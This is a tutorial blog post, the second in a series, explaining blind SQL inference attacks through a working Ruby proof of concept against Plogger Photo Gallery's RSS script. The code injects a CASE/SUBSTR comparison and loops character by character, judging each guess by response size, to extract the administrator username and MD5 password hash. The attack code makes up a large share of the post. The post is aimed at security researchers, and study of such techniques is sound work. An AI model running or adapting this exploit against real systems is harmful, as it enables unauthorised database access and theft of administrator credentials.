sql injection: inference attack (part 2)

In the previous article of this series (sql injection: inference attack) we saw an in introduction to the concept of SQL inference attacks. On security advisory: Plogger Photo Gallery SQL Injection we saw that the Plogger Photo Gallery SQL injection vulnerability was an ideal scenario to study SQL inference attacks.

Now it’s time to see a hands on example on how to exploit a SQL injection vulnerability using this technique. Please note that the intended audience of this article are security researchers that want to gain a deeper knowledge on the nature and internals of SQL inference attacks.

As it is usually the case, depending on the available information beforehand the SQL inference attack that we need to create will vary on its sophistication.

In the Plogger example we have plenty of information, remember that it is and open source tool that you can download and install. However, since SQL inference is a complex vulnerability to exploit a stripped down version of the attack is used in this example.

In the Plogger example we know the underlaying database structure, the field names and the possible values, we will use that knowledge to create a simplified SQL inference attack based on some restrictions. A full blown example of inference attack using binary comparisons is left for the third part of this series of articles.

Let’s have a look at the interesting bits of the code of a proof of concept:-

# configure the parameters of the target system
$host = 'localhost'
$path = '/gallery/plog-rss.php?level=collection&id=1'

$body_size_success = 967
$body_size_failure = 322

# configure the parameters of the fields whose values we want to infer
$fields = ['admin_username', 'admin_password']
$field_length = [5, 32]
$dictionaries = ['admin', '0123456789abcdef']

The first part of the script contains the configuration information regarding our target. Apart from host name and path to the vulnerable script we define two other sets of information:

  • The $body_size_success needs to be adjusted to match the expected length of a full RSS feed, this is the expected size of the HTML code that a clean execution of the injected SQL will return. This size can be measured by doing a legitimate request to the vulnerable script and noting down the value of the content-length header. Our injected SQL can have two possible outcomes, if we correctly guessed the value we are looking for, an RSS feed containing all the elements of the collection will be returned. If on the other hand we make a mistake in our guess, an empty, although syntactically correct, RSS feed will be returned.
  • Information on the names, expected lengths and possible values found in the fields we want to infer should be provided. As mentioned before, we are taking advantage of the knowledge we have of the back end database:
    • We will try to infer two fields: admin_username and admin_password.
    • We expect these fields to be of lengths 5 (Ploggers’ default administrative user name is admin) and 32 (the password is stored in MD5 hashed format).
    • We will try the following dictionary for the username: a, d, m, i, n :) . For the password, all possible Hex values are fair play: 0-9, a-f.

The next thing to do is to craft a custom SQL query that will execute cleanly:-

# define the SQL string we will be using to actually perform the attack
$sql = CGI::escape(' AND 1=(SELECT CASE WHEN (ASCII(SUBSTR(FIELD,POSITION,1))=TEST_VALUE) THEN 1 ELSE 0 END FROM plogger_config)')

As mentioned in the first article (sql injection: inference attack) of this series:

At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z.

In this case we are using the SUBSTR function to walk through the different positions of a given field to compare the character at that position with the one at TEST_VALUE. This is done in the following section of the script:-

# for each field, from position 1 to that defined in $field_length, iterate
# through the different values of our dictionary and send the SQL query.
$fields.each do |field|
  dict = $dictionaries.shift
  size = $field_length.shift
  inferred = ''
  puts "Inferring #{field}"
  puts '=================='
  sql1 = $sql.sub(/FIELD/,field)
  (1..size).each do |i|
    print "\tPosition #{i}: "
    sql = sql1.sub(/POSITION/,i.to_s)
    (0..(dict.size-1)).each do |j|
      value = dict[j]
      resp = http.get($path + sql.sub(/TEST_VALUE/, value.to_s))

      # a particular iteration is successful if the size of the body obtained
      # matches the value we expect
      if (resp.body.size == $body_size_success)
        puts value.chr
        inferred << value.chr
        break
      end
    end
  end
  puts "\tInferred value: #{inferred}"
  $results << inferred
end

The comments in the previous code should give sufficient insight to understand the process. The bottom line: we need to make a series of checks for each position of the value we want to infer. Thes checks have two possible different outcomes, in our case, two different lengths of the HTML code, depending on these outcomes we can infer whether our guess was right or wrong.

As a final note, it should be clear that the specifics of the SQL query, as with any SQL injection attack, is highly dependant on the SQL engine that we are attacking and the SQL functions available in this engine.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • Slashdot
  • Technorati

Comments are closed.